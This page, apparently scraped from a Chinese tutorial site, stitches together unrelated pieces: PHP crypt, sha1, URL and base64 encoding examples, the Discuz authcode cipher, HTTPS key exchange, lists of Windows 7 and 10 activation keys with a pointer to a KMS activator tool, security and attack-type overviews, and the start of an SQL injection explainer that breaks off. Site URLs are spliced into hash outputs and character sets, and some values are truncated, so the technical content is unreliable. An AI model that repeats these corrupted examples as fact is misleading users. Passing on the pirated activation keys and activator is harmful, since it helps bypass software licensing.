得到的结果是: teMGKvBPcptKo $password = crypt('mypassword'); // 自动生成盐值/* 你应当使用 crypt() 得到的完整结果作为盐值进行密码校验,以此来避免使用不同散列算法导致的问题。(如上所述,基于标准 DES 算法的密码散列使用 2 字符盐值,但是基于 MD5 算法的散列使用 12 个字符盐值。)*/if (crypt('mypassword', $password) == $password) {echo "Password verified!";} 执行结果如下: Password verified! 以不同散列类型使用 crypt()的例子如下: if (CRYPT_STD_DES == 1) {echo 'Standard DES: ' . crypt('rasmuslerdorf', 'rl') . " ";}if (CRYPT_EXT_DES == 1) {echo 'Extended DES: ' . crypt('rasmuslerdorf', '_J9..rasm') . " ";}if (CRYPT_MD5 == 1) {echo 'MD5: ' . crypt('rasmuslerdorf', '$1$rasmusle$') . " ";}if (CRYPT_BLOWFISH == 1) {echo 'Blowfish: ' . crypt('rasmuslerdorf', '$2a$07$usesomesillystringforsalt$') . " ";}if (CRYPT_SHA256 == 1) {echo 'SHA-256: ' . crypt('rasmuslerdorf', '$5$rounds=5000$usesomesillystringforsalt$') . " ";}if (CRYPT_SHA512 == 1) {echo 'SHA-512: ' . crypt('rasmuslerdorf', '$6$rounds=5000$usesomesillystringforsalt$') . " ";} 其结果如下: Standard DES: rl.3StKT.4T8MExtended DES: _J9..rasmBYk8r9AiWNcMD5: $1$rasmusle$rISCgZzpwk3UhDidwXvin0Blowfish: $2a$07$usesomesillystringfore2uDLvp1Ii2ehttps://xiaotua.com/103/U9C8sBjqp8I90dH6hiSHA-256: $5$rounds=5000$usesomesillystri$KqJWpanXZHKq2BOB43TSaYhEWsQ1Lr5QNyPCDH/Tp.6SHA-512: $6$rounds=5000$usesomesillystri$D4IrlXatmP7rx3P3InaxBeoomnAihCKRVQP22JZ6EY47Wc6BkroIuUUBOov1i.S5KPgErtP/EN5mcO.ChWQW21 在 crypt() 函数支持多重散列的系统上,下面的常量根据相应的类型是否可用被设置为 0 或 1: CRYPT_STD_DES - 基于标准 DES 算法的散列使用 "https://xiaotua.com/103/0-9A-Za-z" 字符中的两个字符作为盐值。在盐值中使用非法的字符将导致 crypt() 失败。 CRYPT_EXT_DES - 扩展的基于 DES 算法的散列。其盐值为 9 个字符的字符串,由 1 个下划线后面跟着 4 字节循环次数和 4 字节盐值组成。它们被编码成可打印字符,每个字符 6 位,有效位最少的优先。0 到 63 被编码为 "https://xiaotua.com/103/0-9A-Za-z"。在盐值中使用非法的字符将导致 crypt() 失败。 CRYPT_MD5 - MD5 散列使用一个以 $1$ 开始的 12 字符的字符串盐值。 CRYPT_BLOWFISH - Blowfish 算法使用如下盐值:“$2a$”,一个两位 cost 参数,“$” 以及 64 位由 “https://xiaotua.com/103/0-9A-Za-z” 中的字符组合而成的字符串。在盐值中使用此范围之外的字符将导致 crypt() 返回一个空字符串。两位 cost 参数是循环次数以 2 为底的对数,它的范围是 04-31,超出这个范围将导致 crypt() 失败。 CRYPT_SHA256 - SHA-256 算法使用一个以 $5$ 开头的 16 字符字符串盐值进行散列。如果盐值字符串以 “rounds=<N>$” 开头,N 的数字值将被用来指定散列循环的执行次数,这点很像 Blowfish 算法的 cost 参数。默认的循环次数是 5000,最小是 1000,最大是 999,999,999。超出这个范围的 N 将会被转换为最接近的值。 CRYPT_SHA512 - SHA-512 算法使用一个以 $6$ 开头的 16 字符字符串盐值进行散列。如果盐值字符串以 “rounds=<N>$” 开头,N 的数字值将被用来指定散列循环的执行次数,这点很像 Blowfish 算法的 cost 参数。默认的循环次数是 5000,最小是 1000,最大是 999,999,999。超出这个范围的 N 将会被转换为最接近的值。 3、Sha1加密 string sha1 ( string $str [, bool $raw_output = false ] ) 参数 str -- 输入字符串。 raw_output -- 如果可选的 raw_output 参数被设置为 TRUE,那么 sha1 摘要将以 20 字符长度的原始格式返回,否则返回值是一个 40 字符长度的十六进制数字。 这是也一种不可逆加密,执行如下代码: $password = '';echo sha1($password); 得到的结果: 7c4a8d09ca3762af61edcf8941b 4、URL加密 string urlencode ( string $str ) 此函数便于将字符串编码并将其用于 URL 的请求部分,同时它还便于将变量传递给下一页。 返回字符串,此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)。此编码与 WWW 表单 POST 数据的编码方式是一样的,同时与 application/x-www-form-urlencoded 的媒体类型编码方式一样。由于历史原因,此编码在将空格编码为加号(+)方面与 RFC1738 编码不同。 string urldecode ( string $str ) 解码给出的已编码字符串中的任何 %##。 加号('+')被解码成一个空格字符。 这是一种可逆加密,urlencode方法用于加密,urldecode方法用于解密,执行如下代码: $url = 'http://www.xxx.com/CraryPrimitiveMan/';$encodeUrl = urlencode($url);echo $encodeUrl . " ";// 如果是在网页上展示的,就将 修改为<br/>echo urldecode($encodeUrl); 得到的结果如下: http%3A%2F%2Fwww.xxx.com%2FCraryPrimitiveMan%2Fhttp://www.xxx.com/CraryPrimitiveMan/ 基于RFC 3986的加密URL的方法如下: function myUrlEncode($string) {$entities = array('%21', '%2A', '%27', '%28', '%29', '%3B', '%3A', '%40', '%26', '%3D', '%2B', '%24', '%2C', '%2F', '%3F', '%25', '%23', '%5B', '%5D');$replacements = array('!', '*', "'", "(", ")", ";", ":", "@", "&", "=", "+", "$", ",", "/", "?", "%","#", "[", "]");return str_replace($entities, $replacements, urlencode($string));} 5、Base64信息编码加密 string base64_encode (string $data) 使用 base64 对 data 进行编码。 设计此种编码是为了使二进制数据可以通过非纯 8-bit 的传输层传输,例如电子邮件的主体。 Base64-encoded 数据要比原始数据多占用 33% 左右的空间。 string base64_decode ( string $data [, bool $strict = false ] ) 对 base64 编码的 data 进行解码。 参数 data -- 编码过的数据。 strict -- 如果输入的数据超出了 base64 字母表,则返回 FALSE。 执行如下代码: $name = 'CraryPrimitiveMan';$encodeName = base64_encode($name);echo $encodeName . " ";echo base64_decode($encodeName); 其结果如下: Q3JhcnlQcmltaXRpdmVNYW4=CraryPrimitiveMan 以上就是php加密方式有哪些的知识。速戳>>知识兔学习精品课! 传统加密方式: md5(密码+盐值); $passwordString='your password';//你的密码$salt="your salt value";//盐值,增加复杂度(随机字串)$md5Password=md5($passwordString.$salt); 从理论上来说,md5不可逆,算是一种比较安全的加密方式。但是我要提醒的是,md5早在04年的时候就被中国人破解。一旦被人拖库的化,密码泄漏的可能性极大。 现在推荐一种新的处理方式: 密码散列算法函数 password_get_info — 返回指定哈希(hash)的相关信息 password_hash — 创建密码的哈希(hash) password_needs_rehash — Checks if the given hash matches the given options password_verify — 验证密码是否和哈希匹配 PHP5.5引入了Password Hashing函数,内核自带无需安装扩展。在PHP5.4下测试了下也可是可以的,使用前最好确认一下你当前的环境是否支持这些函数。 Password Hashing主要提供了4个函数 //查看哈希值的相关信息array password_get_info (string $hash) //创建hash密码string password_hash(string $password , integer $algo [, array $options ]) //判断hash密码是否特定选项、算法所创建boolean password_needs_rehash (string $hash , integer $algo [, array $options ] boolean password_verify (string $password , string $hash)//验证密码 代码演示: $password = 'password';//原始密码//使用BCRYPT算法加密密码$hash_password = password_hash($password, PASSWORD_BCRYPT); if (password_verify($password , $hash_password)){ echo "密码匹配";}else{ echo "密码错误";} 重要特征: 通过password_hash加密后的密码,使用字典方式很难破解,因为每次生成的密码都是不一样的。破解这种加密只能采用暴力破解。 最后提醒: 加密方法再好,原始密码设置的过于简单都容易被破解,设置复杂的密码才是王道。 以上就是【哈希密码】PHP比md5更安全的加密方式的知识。速戳>>知识兔学习精品课! Https加密 介绍 Http直接通过明文在浏览器和服务器之间传递消息,容易被监听抓取到通信内容。 Https采用对称加密和非对称加密结合的方式来进行通信。 Https不是应用层的新协议,而是Http通信接口用SSL和TLS来加强加密和认证机制。 加密方式 对称加密:加密和解密都是同一个密匙。 非对称加密:密钥成对出现,分为公钥和私钥,公钥加密需要私钥解密,私钥加密需要公钥解密。 两者区别 对称加密速度快,非对称加密速度慢。 对称加密要将密钥暴露,和明文传输没区别。 非对称加密将公钥暴露,供客户端加密,服务端使用私钥解密。 Https加密的选择 对称加密弊端 对称加密速度快,适合Https加密算法,但是服务器和浏览器之间传递密钥的过程被人监听,相当明文传输。 非对称加密弊端 服务端只将公钥暴露,浏览器使用公钥对消息进行非对称加密,服务端用私钥解密。但是服务端向浏览器回复的时候,只能用私钥进行加密,浏览器只能用公钥解密。但是:公钥是所有人都知道的,所有人都可以读取服务端回复的消息来进行解密,所以解决不了服务端向浏览器传递消息。 Https加密 对称加密和非对称加密结合方式 浏览器使用Https的URL访问服务器,建立SSL链接。 服务器收到SSL链接,发送非对称加密的公钥A返回给浏览器 浏览器生成随机数,作为对称加密的密钥B 浏览器使用公钥A,对自己生成的密钥B进行加密,得到密钥C 浏览器将密钥C,发送给服务器。 服务器用私钥D对接受的密钥C进行解密,得到对称加密钥B。 浏览器和服务器之间可以用密钥B作为对称加密密钥进行通信。 总结 这样浏览器和服务器就共享一个对称加密密钥B,重要的是不会被拦截到。只在传输密钥B的时候进行了一次非对称加密,之后就用对称加密进行传送数据。 以上就是https加密方式是什么的知识。速戳>>知识兔学习精品课! 这篇文章主要介绍了php加密之discuz内容经典加密方式,结合具体实例形式详细分析了discuz加密的使用技巧,具有一定参考借鉴价值,需要的朋友可以参考下 本文实例讲述了php加密之discuz内容经典加密方式。分享给大家供大家参考,具体如下: 导读:有的时候,我们希望对表里的某些敏感字段进行加密,想了好长时间没有比较好的解决方案,后台在网上查了查,放心discuz论坛的这种方案对这种情况解决的不错,特copy过来,给大家分享一下,代码如下: header ( "Content-type:text/html;charset=UTF-8" );echo $string='花园路888号';echo '<hr/>加密有效期10秒,密文内容:';// $string='1111';$sss=authcode($string,'','',10);echo $sss;echo '<hr/>加密后立即解密:...';echo authcode($sss);sleep(6);echo '<hr/>6秒后解密...';$aaaa=authcode($sss);var_dump($aaaa);sleep(5);echo '<hr/>再次5秒后解密...';$aaaa=authcode($sss);var_dump($aaaa);/** * * @param string $string 明文或密文字符串 * @param string $operation DECODE表示解密,其它表示加密 * @param string $key 密钥 * @param int $expiry 密文有效期,0代码永不过期 * @return string */function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 $ckey_length = 4; // 密匙 $key = md5 ( $key ? $key : $GLOBALS ['discuz_auth_key'] ); // 密匙a会参与加解密 $keya = md5 ( substr ( $key, 0, 16 ) ); // 密匙b会用来做数据完整性验证 $keyb = md5 ( substr ( $key, 16, 16 ) ); // 密匙c用于变化生成的密文 $keyc = $ckey_length ? ($operation == 'DECODE' ? substr ( $string, 0, $ckey_length ) : substr ( md5 ( microtime () ), - $ckey_length )) : ''; // 参与运算的密匙 $cryptkey = $keya . md5 ( $keya . $keyc ); $key_length = strlen ( $cryptkey ); // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性 // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确 $string = $operation == 'DECODE' ? base64_decode ( substr ( $string, $ckey_length ) ) : sprintf ( '0d', $expiry ? $expiry + time () : 0 ) . substr ( md5 ( $string . $keyb ), 0, 16 ) . $string; $string_length = strlen ( $string ); $result = ''; $box = range ( 0, 255 ); $rndkey = array (); // 产生密匙簿 for($i = 0; $i <= 255; $i ++) { $rndkey [$i] = ord ( $cryptkey [$i % $key_length] ); } // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度 for($j = $i = 0; $i < 256; $i ++) { $j = ($j + $box [$i] + $rndkey [$i]) % 256; $tmp = $box [$i]; $box [$i] = $box [$j]; $box [$j] = $tmp; } // 核心加解密部分 for($a = $j = $i = 0; $i < $string_length; $i ++) { $a = ($a + 1) % 256; $j = ($j + $box [$a]) % 256; $tmp = $box [$a]; $box [$a] = $box [$j]; $box [$j] = $tmp; // 从密匙簿得出密匙进行异或,再转成字符 $result .= chr ( ord ( $string [$i] ) ^ ($box [($box [$a] + $box [$j]) % 256]) ); } if ($operation == 'DECODE') { // substr($result, 0, 10) == 0 验证数据有效性 // substr($result, 0, 10) - time() > 0 验证数据有效性 // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, // 16) 验证数据完整性 // 验证数据有效性,请看未加密明文的格式 if ((substr ( $result, 0, 10 ) == 0 || substr ( $result, 0, 10 ) - time () > 0) && substr ( $result, 10, 16 ) == substr ( md5 ( substr ( $result, 26 ) . $keyb ), 0, 16 )) { return substr ( $result, 26 ); } else { return ''; } } else { // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码 return $keyc . str_replace ( '=', '', base64_encode ( $result ) ); }} 以上代码运行结果: 花园路888号加密有效期10秒,密文内容:ce9eelLd6jpd7hZJTRg+/fgg8cD9VG+1NsHvkavEKhdvhk7jcfDoQTYSAAw加密后立即解密:...花园路888号6秒后解密...string'花园路888号' (length=15)再次5秒后解密...string'' (length=0) 以上就是本文的全部内容,希望对大家的学习有所帮助。 相关推荐: php加密之discuz内容经典加密方式实例分析 Discuz!教程之如何通过简单php文件实现修改主题浏览量? Discuz!X/数据库 DB:: 函数操作方法 以上就是php加密之discuz内容经典加密方式的知识。速戳>>知识兔学习精品课! 发现还是有不少人在找win7序列号,这里再重复发一下这些Windows7 通用激活序列号。 什么叫通用win7序列号,那就是Windows 7所有版本通用,包括32位和64位。 包括Windows 7 RC 和RTM分支都可以激活 可以使用到2020年3月2号 MVBCQ-B3VPW-CT369-VM9TB-YFGBP GPRG6-H3WBB-WJK6G-XX2C7-QGWQ9 MM7DF-G8XWM-J2VRG-4M3C4-GR27X C43GM-DWWV8-V6MGY-G834Y-Y8QH3 MVYTY-QP8R7-6G6WG-87MGT-CRH2P RGQ3V-MCMTC-6HP8R-98CDK-VP3FM 6F4BB-YCB3T-WK763-3P6YJ-BVH24 BCGX7-P3XWP-PPPCV-Q2H7C-FCGFR KBHBX-GP9P3-KH4H4-HKJP4-9VYKQ Q3VMJ-TMJ3M-99RF9-CVPJ3-Q7VF3 KGMPT-GQ6XF-DM3VM-HW6PR-DX9G8 MT39G-9HYXX-J3V3Q-RPXJB-RQ6D7 9JBBV-7Q7P7-CTDB7-KYBKG-X8HHC P72QK-2Y3B8-YDHDV-29DQB-QKWWM 6JQ32-Y9CGY-3Y986-HDQKT-BPFPG 神Key: KH2J9-PC326-T44D4-39H6V-TVPBY TFP9Y-VCY3P-VVH3T-8XXCC-MF4YK 236TW-X778T-8MV9F-937GT-QVKBB 87VT2-FY2XW-F7K39-W3T8R-XMFGF 6K2KY-BFH24-PJW6W-9GK29-TMPWP RHTBY-VWY6D-QJRJ9-JGQ3X-Q2289 win7序列号激活有次数限制,不能保证100%激活成功,大家用密钥如果没有激活可以用激活工具激活,成功率更高。 更多常见问题的相关技术文章,请访问常见问题教程栏目进行学习! 以上就是windows7产品密钥激活的知识。速戳>>知识兔学习精品课! windows10产品密钥包括:1、专业版的“W269N-WFGWX-YVC9B-4J6C9-T83”;2、企业版的“NPPR9-FWDCX-D2C8J-H872K-2YT”;3、家庭版的“TX9XD-98N7V-6WMQ6-BX...”。 很多小伙伴最近刚装上windows10,但看到自己电脑windows激活显示未激活,就跑来问小编是怎样才能将它激活,小编就带着问题整理出一份非常齐全的windows10产品密钥来帮助大家免费且永久激活windows,windows10产品密钥在文末。 你知道win10密钥有什么用吗?我们很多系统刚装上的时候,往往显示的状态未激活,所以此时就需要用win10密钥来激活状态,今天给大家分享一份win10密钥大全一份 win10专业版密钥图文教程 打开开始菜单,点击设置,进入设置界面。 激活步骤(图1) 点击“更新与安全” 激活步骤(图2) 点击“激活”。 激活步骤(图3) 点击更改产品密钥,输入W269N-WFGWX-YVC9B-4J6C9-T83GX。 激活步骤(图4) 激活成功后,按“win+R”弹出运行,输入slmgr.vbs -xpr,看是否已永久激活 激活步骤(图5) 表示激活成功 专业版:W269N-WFGWX-YVC9B-4J6C9-T83GX 企业版:NPPR9-FWDCX-D2C8J-H872K-2YT43 家庭版:TX9XD-98N7V-6WMQ6-BX7FG-H8Q99 教育版:NW6C2-QMPVW-D7KKK-3GKT6-VCFB2 专业版N:MH37W-N47XK-V7XM9-C7227-GCQG9 企业版N:DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4 教育版N:2WH4N-8QGBV-H22JP-CT43Q-MDWWJ 企业版LSTB:WNMTR-4C88C-JK8YV-HQ7T2-76DF9 企业版LSTB N:2F77B-TNFGY-69QQF-B8YKP-D69TJ 因为密钥的特性不能保证100%激活系统,大家可用激活工具激活:HEU_KMS_Activator_v11.2.0 WIN10激活工具 小编每次装完win10系统都是用这个激活,基本没失败过。 以上就是win10最新永久激活密钥的介绍了,另外小编推荐使用小白一键重装系统软件,里面有多种系统可供选择,且都是已经激活好了的,还有资料备份功能,重装系统后可以还原,让你更省心。 更多常见问题的相关技术文章,请访问常见问题教程栏目进行学习! 以上就是windows10产品密钥的知识。速戳>>知识兔学习精品课! 今天小编给大家分享一些win10序列号和windows10专业版密钥(永久激活)。很多用户发现win10系统后没有激活,还有些网友就算是激活了,但也只能用180天,且win10免费升级服务期限已过,用户要使用win10系统,就需要最新windows10序列号来激活win10,一般激活win10系统有两种方式,一个是使用win10产品密钥,一个是使用win10激活工具,官方有提供win10专业版等多种版本的激活码key,下面就来看看小编给大家带来的windows10专业版密钥。 win10专业版激活密钥(32位和64位均可正常使用): W269N-WFGWX-YVC9B-4J6C9-T83GX VK7JG-NPHTM-C97JM-9MPGT-3V66T YNMGQ-8RYV3-4PGQ3-C8XTP-7CFBY 2B87N-8KFHP-DKV6R-Y2C8J-PKCKT WGGHN-J84D6-QYCPR-T7PJ7-X766F 84NGF-MHBT6-FXBX8-QWJK7-DRR8H FWN7H-PF93Q-4GGP8-M8RF3-MDWWW BT79Q-G7N6G-PGBYW-4YWX6-6F4BT MH37W-N47XK-V7XM9-C7227-GCQG9 W269N-WFGWX-YVC9B-4J6C9-T83GX NYW94-47Q7H-7X9TT-W7TXD-JTYPM NJ4MX-VQQ7Q-FP3DB-VDGHX-7XM87 JPYNJ-XTFCR-372YJ-YJJ4Q-G83YB R3BYW-CBNWT-F3JTP-FM942-BTDXY KTNPV-KTRK4-3RRR8-39X6W-W44T3 8N67H-M3CY9-QT7C4-2TR7M-TXYCV CKFK9-QNGF2-D34FM-99QX3-8XC4K JPYNH-XTFCR-372YJ-YJJ3Q-G83YB R3BYW-CBNWT-F3JTP-FM942-BTDXY NKJFK-GPHP7-G8C3J-P6JXR-HQRJR NJ4MX-VQQ7Q-FP3DB-VDGHX-7XM87 MH37W-N47XK-V7XM9-C7227-GCQG9 VK7JG-NPHTM-C97JM-9MPGT-3V66T RNP9C-WY3PM-8WG94-WT8Q9-7XMPF GC42Q-XHW4P-6HKVD-D3839-P6W8B NJ4MX-VQQ7Q-FP3DB-VDGHX-7XM87 MH37W-N47XK-V7XM9-C7227-GCQG9 VK7JG-NPHTM-C97JM-9MPGT-3V66T X9NV3-MCH4F-M3G24-2PKR2-BTDT3 W269N-WFGWX-YVC9B-4J6C9-T83GX win10企业版: Windows 10 Enterprise : NPPR9-FWDCX-D2C8J-H872K-2YT43 Windows 10 Enterprise N: DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4 Windows 10 Enterprise 2015 LTSB :WNMTR-4C88C-JK8YV-HQ7T2-76DF9 Windows 10 Enterprise 2015 LTSB N : 2F77B-TNFGY-69QQF-B8YKP-D6 win10预览版密钥: Win10企业版密钥:PBHCJ-Q2NYD-2PX34-T2TD6-233PK Win10专业版密钥:NKJFK-GPHP7-G8C3J-P6JXR-HQRJR 更多常见问题的相关技术文章,请访问常见问题教程栏目进行学习! 以上就是win10产品密钥专业版的知识。速戳>>知识兔学习精品课! 漏洞信息及攻击工具获取的途径包括:1、漏洞扫描;2、漏洞库;3、QQ群;4、论坛等交互应用。漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。 本文操作环境:windows10系统、thinkpad t480电脑。 漏洞信息及攻击工具获取的途径包括: (更多网络安全相关知识推荐:服务器安全) 漏洞扫描 漏洞库 QQ群 论坛等交互应用 什么是漏洞? 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说,比如在Intel Pentium芯片中存在的逻辑错误,在Sendmail早期版本中的编程错误,在NFS协议中认证方式上的弱点,在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用,威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞。 漏洞的危害及防范 漏洞的存在,很容易导致黑客的侵入及病毒的驻留,会导致数据丢失和篡改、隐私泄露乃至金钱上的损失,如:网站因漏洞被入侵,网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。目前数码产品发展,漏洞从过去以电脑为载体延伸至数码平台,如手机二维码漏洞,安卓应用程序漏洞等等... 小兔网有大量免费、原创、高清视频教程,欢迎大家访问学习。 以上就是漏洞信息及攻击工具获取的途径包括哪些的知识。速戳>>知识兔学习精品课! 由于脚本之家的安全设置,删除了很多安全隐患的东西,也导致了一些软件安装出现错误,所以建议大家在安装好软件再安全设置。今天就出现了安全sql2000时提示提示无法验证产品密钥,下面的具体的解决方法。 症状 在 Service Pack 4 (SP 4) 运行 Microsoft Windows Server 2003、 Microsoft Windows Storage Server 2003 或 Microsoft Windows 2000 在服务器上, 您尝试安装 Microsoft SQL Server 2000 通过卷许可协议 (VLA) 媒体。 执行此操作时,会出现以下错误信息 SQL Server 安装向导的 CD KEY 页上: 无法验证产品密钥 解决方案 警告 如果您修改错误地通过使用编辑器或使用另一种方法,则可能会出现严重的问题。 这些问题可能需要您重新安装您的操作系统。 Microsoft 不能保证您可以解决这些问题。 修改需要您自担风险。 若要解决此问题,请按照下列步骤操作: 1. 在 SQL Server 安装向导,单击 取消 。 2. 启动编辑器。 为此,单击 开始 ,单击 运行 ,键入 regedit ,然后单击 确定 。 3. 找到并双击该 SafeDllSearchMode 项。 在运行 Windows Server 2003 的服务器或 Windows Storage Server 2003,此项位于下面的子项下: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession Manager 带 SP 4 的运行 Windows 2000 的一个服务器上, 此项位于下面的子项下: HKEY_LOCAL_MACHINESystemControlSession Manager 注意 如果该 SafeDllSearchMode 项不存在,创建 SafeDllSearchMode 项作为 DWORD 值。 4. 在 数值数据 框,将值从 1 更改为 0,然后单击 确定 。 5. 退出编辑器。 6. 重新安装 SQL Server 2000,然后再安装最新的 SQL Server 2000 Service Pack。 7. 重新启动服务器。 简洁版本: 在 SP1或sp2的环境下,安装SQLServer2000,原本不需要输入CD-KEY的地方需要输入了,而且,还提示“无法验证产品密钥”。 解决方法如下(Microsoft的官方解决办法): 取消安装并打开编辑器。浏览HKLMSystemControlSession Manager中的SafeDLLSearchMode键,此键为 DWORD值,将值从1更改为0。如果该键不存在,则创建它。完后重新启动 SQLServer 安装并继续以安装 SQLServer,即可解决问题。 其实安装好sqlserver还有安全问题需要解决。具体的设置方法可以参考 从系统整体看安全漏洞包括以下几个方面:1、人的因素;2、技术因素;3、规划、策略和执行过程。安全漏洞是指限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。 本教程操作环境:windows7系统、Dell G3电脑。 从系统整体看,安全"漏洞"包括人的因素、技术因素、规划,策略和执行过程。 安全漏洞是指受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。漏洞是硬件软件或使用策略上的缺陷,他们会使计算机遭受病毒和黑客攻击。 常见的安全漏洞 代码注入。包括SQL注入在内的广义攻击,它取决于插入代码并由应用程序执行。 会话固定。这是一种会话攻击,通过该漏洞攻击者可以劫持一个有效的用户会话。会话固定攻击可以在受害者的浏览器上修改一个已经建立好的会话,因此,在用户登录前可以进行恶意攻击。 路径访问,或者“目录访问”。该漏洞旨在访问储存在Web根文件外的文件或者目录。 弱密码,字符少、数字长度短以及缺少特殊符号。这种密码相对容易破解。 硬编码加密密钥,提供一种虚假的安全感。一些人认为在存储之前将硬编码密码分散可以有助于保护信息免受恶意用户攻击。但是许多这种分散是可逆的过程。 更多学习推荐:编程视频 以上就是从系统整体看安全漏洞包括哪些方面的知识。速戳>>知识兔学习精品课! 防火墙不能防止利用服务器系统和网络协议漏洞进行的攻击,对。防火墙技术的功能主要在于及时发现并处理计算机网络运行时可能存在的安全风险、数据传输等问题。 本文操作环境:windows7系统、Dell G3电脑。 防火墙不能防止利用服务器系统和网络协议漏洞进行的攻击,对。 防火墙介绍: 防火墙技术是通过有机结合各类用于安全管理与筛选的软件和硬件设备,帮助计算机网络于其内、外网之间构建一道相对隔绝的保护屏障,以保护用户资料与信息安全性的一种技术。 防火墙技术的功能主要在于及时发现并处理计算机网络运行时可能存在的安全风险、数据传输等问题,其中处理措施包括隔离与保护,同时可对计算机网络安全当中的各项操作实施记录与检测,以确保计算机网络运行的安全性,保障用户资料与信息的完整性,为用户提供更好、更安全的计算机网络使用体验。 防火墙类型: (1)过滤型防火墙 过滤型防火墙是在网络层与传输层中,可以基于数据源头的地址以及协议类型等标志特征进行分析,确定是否可以通过。在符合防火墙规定标准之下,满足安全性能以及类型才可以进行信息的传递,而一些不安全的因素则会被防火墙过滤、阻挡。 (2)应用代理类型防火墙 应用代理防火墙主要的工作范围就是在OSI的最高层,位于应用层之上。其主要的特征是可以完全隔离网络通信流,通过特定的代理程序就可以实现对应用层的监督与控制。这两种防火墙是应用较为普遍的防火墙,其他一些防火墙应用效果也较为显著,在实际应用中要综合具体的需求以及状况合理的选择防火墙的类型,这样才可以有效地避免防火墙的外部侵扰等问题的出现。 (3)复合型 目前应用较为广泛的防火墙技术当属复合型防火墙技术,综合了包过滤防火墙技术以及应用代理防火墙技术的优点,譬如发过来的安全策略是包过滤策略,那么可以针对报文的报头部分进行访问控制;如果安全策略是代理策略,就可以针对报文的内容数据进行访问控制,因此复合型防火墙技术综合了其组成部分的优点,同时摒弃了两种防火墙的原有缺点,大大提高了防火墙技术在应用实践中的灵活性和安全性。 推荐教程:macos 以上就是防火墙不能防止利用服务器系统和网络协议漏洞进行的攻击,对么的知识。速戳>>知识兔学习精品课! 网络攻击的种类分为主动攻击和被动攻击。主动攻击会导致某些数据流的篡改和虚假数据流的产生,而被动攻击中攻击者不对数据信息做任何修改。 本文操作环境:windows7系统,Dell G3电脑。 网络攻击分类: 一、主动攻击 主动攻击会导致某些数据流的篡改和虚假数据流的产生。这类攻击可分为篡改、伪造消息数据和终端(拒绝服务)。 (相关推荐:服务器安全) (1)篡改消息 篡改消息是指一个合法消息的某些部分被改变、删除,消息被延迟或改变顺序,通常用以产生一个未授权的效果。如修改传输消息中的数据,将“允许甲执行操作”改为“允许乙执行操作”。 (2)伪造 伪造指的是某个实体(人或系统)发出含有其他实体身份信息的数据信息,假扮成其他实体,从而以欺骗方式获取一些合法用户的权利和特权。 (3)拒绝服务 拒绝服务即常说的DoS(Deny of Service),会导致对通讯设备正常使用或管理被无条件地中断。通常是对整个网络实施破坏,以达到降低性能、终端服务的目的。这种攻击也可能有一个特定的目标,如到某一特定目的地(如安全审计服务)的所有数据包都被阻止。 二、被动攻击 被动攻击中攻击者不对数据信息做任何修改,截取/窃听是指在未经用户同意和认可的情况下攻击者获得了信息或相关数据。通常包括窃听、流量分析、破解弱加密的数据流等攻击方式。 (1)流量分析 流量分析攻击方式适用于一些特殊场合,例如敏感信息都是保密的,攻击者虽然从截获的消息中无法的到消息的真实内容,但攻击者还能通过观察这些数据报的模式,分析确定出通信双方的位置、通信的次数及消息的长度,获知相关的敏感信息,这种攻击方式称为流量分析。 (2)窃听 窃听是最常用的手段。应用最广泛的局域网上的数据传送是基于广播方式进行的,这就使一台主机有可能受到本子网上传送的所有信息。而计算机的网卡工作在杂收模式时,它就可以将网络上传送的所有信息传送到上层,以供进一步分析。如果没有采取加密措施,通过协议分析,可以完全掌握通信的全部内容,窃听还可以用无限截获方式得到信息,通过高灵敏接受装置接收网络站点辐射的电磁波或网络连接设备辐射的电磁波,通过对电磁信号的分析恢复原数据信号从而获得网络信息。尽管有时数据信息不能通过电磁信号全部恢复,但可能得到极有价值的情报。 由于被动攻击不会对被攻击的信息做任何修改,留下痕迹很好,或者根本不留下痕迹,因而非常难以检测,所以抗击这类攻击的重点在于预防,具体措施包括虚拟专用网VPN,采用加密技术保护信息以及使用交换式网络设备等。被动攻击不易被发现,因而常常是主动攻击的前奏。 被动攻击虽然难以检测,但可采取措施有效地预防,而要有效地防止攻击是十分困难的,开销太大,抗击主动攻击的主要技术手段是检测,以及从攻击造成的破坏中及时地恢复。检测同时还具有某种威慑效应,在一定程度上也能起到防止攻击的作用。具体措施包括自动审计、入侵检测和完整性恢复等。 以上就是网络攻击的种类分为什么的知识。速戳>>知识兔学习精品课! sql注入的三种方式,分别是:1、数字型注入;当输入的参数为整型时,则有可能存在数字型注入漏洞。2、字符型注入;当输入参数为字符串时,则可能存在字符型注入漏洞。3、其他类型(例如:搜索型注入、Cookie注入、POST注入等)。 SQL 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 SQL 注入分类 1. 数字型注入 当输入的参数为整型时,则有可能存在数字型注入漏洞。 假设存在一条 URL 为:可以对后台的 SQL 语句猜测为: 判断数字型漏洞的 SQL 注入点: ① 先在输入框中输入一个单引号 这样的 SQL 语句就会变为: , 不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。 ② 在输入框中输入 